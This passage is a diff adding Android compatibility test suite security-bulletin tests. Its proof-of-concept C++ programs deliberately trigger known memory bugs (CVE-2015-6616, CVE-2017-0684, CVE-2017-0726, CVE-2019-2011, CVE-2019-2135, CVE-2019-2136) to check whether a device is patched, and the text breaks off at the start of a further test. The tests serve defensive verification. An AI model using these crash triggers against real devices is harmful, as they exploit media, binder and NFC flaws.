+ name: "CVE-2015-6616",
+
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+
+ srcs: [
+ "poc.cpp",
+ ],
+
+ include_dirs: [
+ "frameworks/av/media/libdatasource/include",
+ "frameworks/av/media/libstagefright/include",
+ "cts/hostsidetests/securitybulletin/securityPatch/includes",
+ ],
+
+ shared_libs: [
+ "libstagefright",
+ "libutils",
+ "libmedia",
+ "libdatasource",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2015-6616/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2015-6616/poc.cpp
new file mode 100644
index 0000000..8d175cc
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2015-6616/poc.cpp
@@ -0,0 +1,105 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <dlfcn.h>
+#include <sys/types.h>
+#include <media/DataSource.h>
+#include <datasource/FileSource.h>
+#include <media/stagefright/MediaExtractor.h>
+#include <android/IMediaExtractor.h>
+#include <media/stagefright/DataSourceBase.h>
+#include <media/stagefright/MetaData.h>
+#include "../includes/common.h"
+#define LIBNAME "/system/lib64/extractors/libmp4extractor.so"
+#define LIBNAME_APEX "/apex/com.android.media/lib64/extractors/libmp4extractor.so"
+
+void * operator new(size_t size) {
+ if (size > 64 * 1024 * 1024) {
+ exit (EXIT_VULNERABLE);
+ }
+ return malloc(size);
+}
+
+using namespace android;
+
+int main(int argc, char **argv) {
+ (void) argc;
+ (void) argv;
+#if _64_BIT
+ GetExtractorDef getDef = nullptr;
+ if (argc < 2) {
+ return EXIT_FAILURE;
+ }
+
+ void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
+ if (!libHandle) {
+ libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL);
+ if (!libHandle) {
+ return EXIT_FAILURE;
+ }
+ }
+
+ getDef = (GetExtractorDef)dlsym(libHandle, "GETEXTRACTORDEF");
+ if (!getDef) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ sp < DataSource > dataSource = new FileSource(argv[1]);
+ if (dataSource == nullptr) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ void *meta = nullptr;
+ void* creator = nullptr;
+ FreeMetaFunc freeMeta = nullptr;
+ float confidence;
+ if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V1) {
+ creator = (void*) getDef().u.v2.sniff(dataSource->wrap(), &confidence,
+ &meta, &freeMeta);
+ } else if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V2) {
+ creator = (void*) getDef().u.v3.sniff(dataSource->wrap(), &confidence,
+ &meta, &freeMeta);
+ }
+ if (!creator) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ CMediaExtractor *ret = ((CreatorFunc) creator)(dataSource->wrap(), meta);
+ if (ret == nullptr) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ if (meta != nullptr && freeMeta != nullptr) {
+ freeMeta(meta);
+ }
+
+ MediaExtractorCUnwrapper *mediaExtractorCUnwrapper =
+ new MediaExtractorCUnwrapper(ret);
+ MediaTrack* source = mediaExtractorCUnwrapper->getTrack(0);
+ if (source == nullptr) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ source->start();
+
+ dlclose(libHandle);
+#endif /* _64_BIT */
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0684/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0684/Android.bp
new file mode 100644
index 0000000..ad70e63
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0684/Android.bp
@@ -0,0 +1,44 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+cc_test {
+ name: "CVE-2017-0684",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_omxutils",
+ ],
+ shared_libs: [
+ "libstagefright",
+ "libbinder",
+ "libmedia_omx",
+ "libutils",
+ "liblog",
+ "libui",
+ "libstagefright_foundation",
+ "libcutils",
+ "libhidlbase",
+ "libhidlmemory",
+ "android.hidl.allocator@1.0",
+ "android.hardware.media.omx@1.0",
+ ],
+ include_dirs: [
+ "frameworks/native/include/media/openmax",
+ "frameworks/av/media/libstagefright",
+ "frameworks/native/include/media/hardware",
+ ],
+ compile_multilib: "32",
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0684/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0684/poc.cpp
new file mode 100644
index 0000000..9b76c7b
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0684/poc.cpp
@@ -0,0 +1,139 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include "../includes/common.h"
+#include "../includes/omxUtils.h"
+
+sp<IAllocator> mAllocator = IAllocator::getService("ashmem");
+
+int allocateHidlPortBuffers(OMX_U32 portIndex,
+ Vector<Buffer> *buffers) {
+ buffers->clear();
+ OMX_PARAM_PORTDEFINITIONTYPE def;
+ int err = omxUtilsGetParameter(portIndex, &def);
+ omxExitOnError(err);
+ for (OMX_U32 i = 0; i < def.nBufferCountActual; ++i) {
+ Buffer buffer;
+ buffer.mFlags = 0;
+ bool success;
+ auto transStatus = mAllocator->allocate(def.nBufferSize,
+ [&success, &buffer](
+ bool s,
+ hidl_memory const& m) {
+ success = s;
+ buffer.mHidlMemory = m;
+ });
+ omxExitOnError(!transStatus.isOk());
+ omxExitOnError(!success);
+ omxUtilsUseBuffer(portIndex, buffer.mHidlMemory, &buffer.mID);
+ buffers->push(buffer);
+ }
+ return OK;
+}
+
+int main() {
+
+ /* Initialize OMX for the specified codec */
+ status_t ret = omxUtilsInit((char *) "OMX.google.h264.encoder");
+ omxExitOnError(ret);
+ /* Get OMX input port parameters */
+ OMX_PARAM_PORTDEFINITIONTYPE *params =
+ (OMX_PARAM_PORTDEFINITIONTYPE *) malloc(
+ sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+ memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+ omxUtilsGetParameter(OMX_UTILS_IP_PORT, params);
+ int ipBufferCount = params->nBufferCountActual;
+ /* Set port mode */
+ omxUtilsSetPortMode(OMX_UTILS_IP_PORT, IOMX::kPortModeDynamicANWBuffer);
+ /* Allocate input buffers and graphic buffer */
+ sp<GraphicBuffer> graphicbuffer = new GraphicBuffer(
+ params->format.video.nFrameWidth, params->format.video.nFrameHeight,
+ HAL_PIXEL_FORMAT_RGBX_8888,
+ android::GraphicBuffer::USAGE_HW_VIDEO_ENCODER, "me");
+ int i;
+ Vector<Buffer> inputBuffers;
+ Vector<Buffer> outputBuffers;
+ /* Register input buffers with OMX component */
+ allocateHidlPortBuffers(OMX_UTILS_IP_PORT, &inputBuffers);
+ /* Get OMX output port parameters */
+ memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+ omxUtilsGetParameter(OMX_UTILS_OP_PORT, params);
+ int opBufferSize = params->nBufferSize;
+ int opBufferCount = params->nBufferCountActual;
+ allocateHidlPortBuffers(OMX_UTILS_OP_PORT, &outputBuffers);
+ /* Do OMX State chage to Idle */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+ /* Do OMX State chage to Executing */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateExecuting);
+ /* Empty input buffers and fill output buffers */
+ OMXBuffer omxIpBuf(graphicbuffer);
+ omxUtilsEmptyBuffer(inputBuffers[0].mID, omxIpBuf, 0, 0, -1);
+ OMXBuffer omxOpBuf(0, opBufferSize);
+ omxUtilsFillBuffer(outputBuffers[0].mID, omxOpBuf, -1);
+ /* Do OMX State chage to Idle */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+ /* Do OMX State chage to Loaded */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateLoaded);
+ /* Free input and output buffers */
+ for (i = 0; i < ipBufferCount; i++) {
+ omxUtilsFreeBuffer(OMX_UTILS_IP_PORT, inputBuffers[i].mID);
+ }
+ for (i = 0; i < opBufferCount; i++) {
+ omxUtilsFreeBuffer(OMX_UTILS_OP_PORT, outputBuffers[i].mID);
+ }
+ /*********************************************************************/
+ /* Following code exposes vulnerability */
+ /*********************************************************************/
+ Vector<Buffer> newInputBuffers;
+ Vector<Buffer> newOutputBuffers;
+ /* Get OMX input port parameters, change settings and set output port*/
+ /* port parameters */
+ memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+ omxUtilsGetParameter(OMX_UTILS_IP_PORT, params);
+ params->nBufferSize = 38016;
+ params->format.video.nFrameWidth = 2000;
+ params->format.video.nFrameHeight = 2000;
+ omxUtilsSetParameter(OMX_UTILS_IP_PORT, params);
+ /* Allocated input buffers and register with OMX component */
+ allocateHidlPortBuffers(OMX_UTILS_IP_PORT, &newInputBuffers);
+ /* Allocated output buffers and register with OMX component */
+ allocateHidlPortBuffers(OMX_UTILS_OP_PORT, &newOutputBuffers);
+ /* Do OMX State chage to Idle */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+ /* Do OMX State chage to Executing */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateExecuting);
+ /* Empty input buffers and fill output buffers */
+ OMXBuffer newOmxIpBuf(graphicbuffer);
+ omxUtilsEmptyBuffer(newInputBuffers[0].mID, newOmxIpBuf, 0, 0, -1);
+ OMXBuffer newOmxOpBuf(0, opBufferSize);
+ omxUtilsFillBuffer(newOutputBuffers[0].mID, newOmxOpBuf, -1);
+ /* Do OMX State change to Idle */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+ /* Do OMX State change to Loaded */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateLoaded);
+ /* Free input and output buffers */
+ for (i = 0; i < ipBufferCount; i++) {
+ omxUtilsFreeBuffer(OMX_UTILS_IP_PORT, newInputBuffers[i].mID);
+ }
+ for (i = 0; i < opBufferCount; i++) {
+ omxUtilsFreeBuffer(OMX_UTILS_OP_PORT, newOutputBuffers[i].mID);
+ }
+ /* Free OMX resources */
+ omxUtilsFreeNode();
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0726/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0726/Android.bp
new file mode 100644
index 0000000..32959f2
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0726/Android.bp
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2017-0726",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils_track",
+ ],
+ include_dirs: [
+ "frameworks/av/media/libmedia/include",
+ ],
+ shared_libs: [
+ "libdatasource",
+ "libstagefright",
+ "libstagefright_foundation",
+ "libutils",
+ "liblog",
+ ],
+ cflags: [
+ "-DCHECK_MEMORY_LEAK",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ]
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0726/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0726/poc.cpp
new file mode 100644
index 0000000..ea6935f
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0726/poc.cpp
@@ -0,0 +1,143 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include "stdlib.h"
+
+#include "../includes/memutils_track.h"
+#include <android/IMediaExtractor.h>
+#include <datasource/DataSourceFactory.h>
+#include <dlfcn.h>
+#include <media/DataSource.h>
+#include <media/IMediaHTTPService.h>
+#include <media/stagefright/DataSourceBase.h>
+#include <media/stagefright/MediaExtractor.h>
+#include <media/stagefright/MetaData.h>
+
+unsigned char mp4_data[] = {
+ 0x00, 0x00, 0x00, 0x1C, 0x66, 0x74, 0x79, 0x70, 0x6D, 0x70, 0x34, 0x32,
+ 0x00, 0x00, 0x00, 0x00, 0x6D, 0x70, 0x34, 0x32, 0x64, 0x62, 0x79, 0x31,
+ 0x69, 0x73, 0x6F, 0x6D, 0x00, 0x00, 0x00, 0x74, 0x6D, 0x6F, 0x6F, 0x76,
+ 0x00, 0x00, 0x00, 0x6C, 0x75, 0x64, 0x74, 0x61, 0x00, 0x00, 0x00, 0x64,
+ 0x6D, 0x65, 0x74, 0x61, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x58,
+ 0x69, 0x6C, 0x73, 0x74, 0x00, 0x00, 0x00, 0x50, 0x2D, 0x2D, 0x2D, 0x2D,
+ 0x00, 0x00, 0x00, 0x1C, 0x6D, 0x65, 0x61, 0x6E, 0x00, 0x00, 0x00, 0x00,
+ 0x63, 0x6F, 0x6D, 0x2E, 0x61, 0x70, 0x70, 0x6C, 0x65, 0x2E, 0x69, 0x54,
+ 0x75, 0x6E, 0x65, 0x73, 0x00, 0x00, 0x00, 0x14, 0x6E, 0x61, 0x6D, 0x65,
+ 0x00, 0x00, 0x00, 0x00, 0x69, 0x54, 0x75, 0x6E, 0x53, 0x4D, 0x50, 0x42,
+ 0x00, 0x08, 0x00, 0x18, 0x64, 0x61, 0x74, 0x61, 0x33, 0x32, 0x20, 0x34,
+ 0x20, 0x33, 0x20, 0x32, 0x33, 0x32, 0x20, 0x34, 0x20, 0x33, 0x20, 0x32};
+
+#if _32_BIT
+#define LIBNAME "/system/lib/extractors/libmp4extractor.so"
+#define LIBNAME_APEX "/apex/com.android.media/lib/extractors/libmp4extractor.so"
+#elif _64_BIT
+#define LIBNAME "/system/lib64/extractors/libmp4extractor.so"
+#define LIBNAME_APEX \
+ "/apex/com.android.media/lib64/extractors/libmp4extractor.so"
+#endif
+
+#define TOTAL_SIZE 524432
+#define DATA_SIZE 144
+#define TRACK_SIZE (TOTAL_SIZE - DATA_SIZE + 16 + 1)
+#define TMP_FILE "/data/local/tmp/temp_cve_2017_0726"
+
+char enable_selective_overload = ENABLE_NONE;
+using namespace android;
+
+bool is_tracking_required(size_t size) { return (size == TRACK_SIZE); }
+
+int main() {
+ GetExtractorDef getDef = nullptr;
+ FILE *fp = fopen(TMP_FILE, "wb");
+ if (!fp) {
+ return EXIT_FAILURE;
+ }
+
+ char zero_array[TOTAL_SIZE - DATA_SIZE];
+ memset(zero_array, 0, (TOTAL_SIZE - DATA_SIZE) * sizeof(char));
+
+ /* Write mp4 stream */
+ fwrite(mp4_data, 1, DATA_SIZE, fp);
+
+ /* Append 0's to create custom PoC */
+ fwrite(zero_array, 1, (TOTAL_SIZE - DATA_SIZE), fp);
+ fclose(fp);
+
+ void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
+ if (!libHandle) {
+ libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL);
+ if (!libHandle) {
+ remove(TMP_FILE);
+ return EXIT_FAILURE;
+ }
+ }
+
+ getDef = (GetExtractorDef)dlsym(libHandle, "GETEXTRACTORDEF");
+ if (!getDef) {
+ dlclose(libHandle);
+ remove(TMP_FILE);
+ return EXIT_FAILURE;
+ }
+
+ sp<DataSource> dataSource =
+ DataSourceFactory::getInstance()->CreateFromURI(NULL, TMP_FILE);
+ if (dataSource == nullptr) {
+ dlclose(libHandle);
+ remove(TMP_FILE);
+ return EXIT_FAILURE;
+ }
+
+ void *meta = nullptr;
+ void *creator = nullptr;
+ FreeMetaFunc freeMeta = nullptr;
+ float confidence;
+ if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V1) {
+ creator = (void *)getDef().u.v2.sniff(dataSource->wrap(), &confidence,
+ &meta, &freeMeta);
+ } else if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V2) {
+ creator = (void *)getDef().u.v3.sniff(dataSource->wrap(), &confidence,
+ &meta, &freeMeta);
+ }
+ if (!creator) {
+ dlclose(libHandle);
+ remove(TMP_FILE);
+ return EXIT_FAILURE;
+ }
+
+ CMediaExtractor *ret = ((CreatorFunc)creator)(dataSource->wrap(), meta);
+ if (ret == nullptr) {
+ dlclose(libHandle);
+ remove(TMP_FILE);
+ return EXIT_FAILURE;
+ }
+
+ if (meta != nullptr && freeMeta != nullptr) {
+ freeMeta(meta);
+ }
+
+ sp<MetaData> metaData = new MetaData();
+ MediaExtractorCUnwrapper *mediaExtractorCUnwrapper =
+ new MediaExtractorCUnwrapper(ret);
+ enable_selective_overload = ENABLE_MALLOC_CHECK;
+ mediaExtractorCUnwrapper->getTrackMetaData(*metaData.get(), 0, 1);
+ enable_selective_overload = ENABLE_NONE;
+
+ remove(TMP_FILE);
+ dlclose(libHandle);
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2011/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2011/Android.bp
new file mode 100644
index 0000000..59d60f3
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2011/Android.bp
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2019-2011",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ shared_libs: [
+ "libhidlbase",
+ "libcutils",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2011/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2011/poc.cpp
new file mode 100644
index 0000000..1de147c
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2011/poc.cpp
@@ -0,0 +1,50 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <hwbinder/Parcel.h>
+
+using namespace android::hardware;
+
+int main() {
+ int32_t numFds = 1;
+ int32_t numInts = 0;
+ android::status_t err = android::NO_ERROR;
+
+ native_handle_t *nativeHandleSend = native_handle_create(numFds, numInts);
+ Parcel *parcel = new Parcel();
+ err = parcel->writeNativeHandleNoDup(nativeHandleSend);
+ if (err != android::NO_ERROR) {
+ return EXIT_FAILURE;
+ }
+ parcel->setDataPosition(0);
+
+ nativeHandleSend->numInts = 1024;
+
+ const native_handle_t *nativeHandleReceive = nullptr;
+ err = parcel->readNativeHandleNoDup(&nativeHandleReceive);
+ if (err == android::NO_ERROR) {
+ native_handle_t *tempHandle = const_cast<native_handle_t *>(nativeHandleReceive);
+ for (numInts = nativeHandleReceive->numFds; numInts < nativeHandleReceive->numInts;
+ ++numInts) {
+ ++tempHandle->data[numInts];
+ }
+ }
+
+ // The fix is to validate the nativeHandle size and return an error. Hence
+ // if control reaches here, the patch is present. Return EXIT_SUCCESS
+ delete parcel;
+ native_handle_delete(nativeHandleSend);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2135/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2135/Android.bp
new file mode 100644
index 0000000..1166510
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2135/Android.bp
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+cc_test {
+ name: "CVE_2019_2135",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ ],
+ compile_multilib: "64",
+ include_dirs: [
+ "system/nfc/src/nfc/include/",
+ "system/nfc/src/nfa/include/",
+ "system/nfc/src/gki/common/",
+ "system/nfc/src/include/",
+ "system/nfc/src/gki/ulinux/",
+ "packages/apps/Nfc/nci/jni/extns/pn54x/src/common/",
+ "packages/apps/Nfc/nci/jni/extns/pn54x/inc/",
+ ],
+ shared_libs: [
+ "libnfc_nci_jni",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2135/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2135/poc.cpp
new file mode 100644
index 0000000..582ddb8
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2135/poc.cpp
@@ -0,0 +1,40 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <nfa_api.h>
+#include <nfc_api.h>
+#include <phNfcTypes.h>
+#include <phNxpExtns.h>
+
+static void nfaMockDMCallback(uint8_t, tNFA_DM_CBACK_DATA *) {}
+static void nfaMockCCallback(uint8_t, tNFA_CONN_EVT_DATA *) {}
+
+int main(void) {
+ if (EXTNS_Init(nfaMockDMCallback, nfaMockCCallback) != NFCSTATUS_SUCCESS) {
+ return EXIT_FAILURE;
+ }
+ const int32_t size = 16;
+ const int32_t offset = size - 1;
+ uint8_t *p_data = static_cast<uint8_t *>(malloc(size));
+ if (p_data == nullptr) {
+ return EXIT_FAILURE;
+ }
+ p_data[offset] = 0x60;
+ EXTNS_MfcTransceive(&p_data[offset], 1);
+ free(p_data);
+ EXTNS_Close();
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2136/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2136/Android.bp
new file mode 100644
index 0000000..7482be3
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2136/Android.bp
@@ -0,0 +1,28 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2019-2136",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ shared_libs: [
+ "libbinder",
+ "libutils",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2136/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2136/poc.cpp
new file mode 100644
index 0000000..c4d9a79
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2136/poc.cpp
@@ -0,0 +1,41 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <binder/Parcel.h>
+#include <binder/Status.h>
+
+using namespace android;
+using ::android::binder::Status;
+
+int main(void) {
+ Parcel parcel;
+ parcel.writeInt32(Status::EX_HAS_REPLY_HEADER);
+ /** Vulerable Code: const int32_t header_start = parcel.dataPosition();
+ parcel.setDataPosition(header_start + header_size);
+ Hence header_start is 4 [sizeof(int32_t)] as we have written
+ Status::EX_HAS_REPLY_HEADER. header_start + header_size computation will
+ overflow if header_size > INT32_MAX - sizeof(int32_t).
+ */
+ parcel.writeInt32(INT32_MAX - sizeof(int32_t));
+ parcel.setDataPosition(0);
+ Status status;
+ status.readFromParcel(parcel);
+ /** If vulnerability is present, the parcel's data position would be very
+ large. Hence any write to the parcel will trigger a SIGSEGV else the
+ write would pass.
+ */
+ parcel.writeInt32(0);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9247/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9247/Android.bp
new file mode 100644
index 0000000..e989f4c
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9247/Android.bp
@@ -0,0 +1,34 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2019-9247",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ include_dirs: [
+ "external/aac/libMpegTPDec/include/",
+ "external/aac/libMpegTPDec/src/",
+ "external/aac/libSYS/include/",
+ "external/aac/libFDK/include/",
+ "cts/hostsidetests/securitybulletin/securityPatch/includes/",
+ ],
+ shared_libs: [
+ "libbluetooth",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9247/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9247/poc.cpp
new file mode 100644
index 0000000..aed7662
--- /dev/null
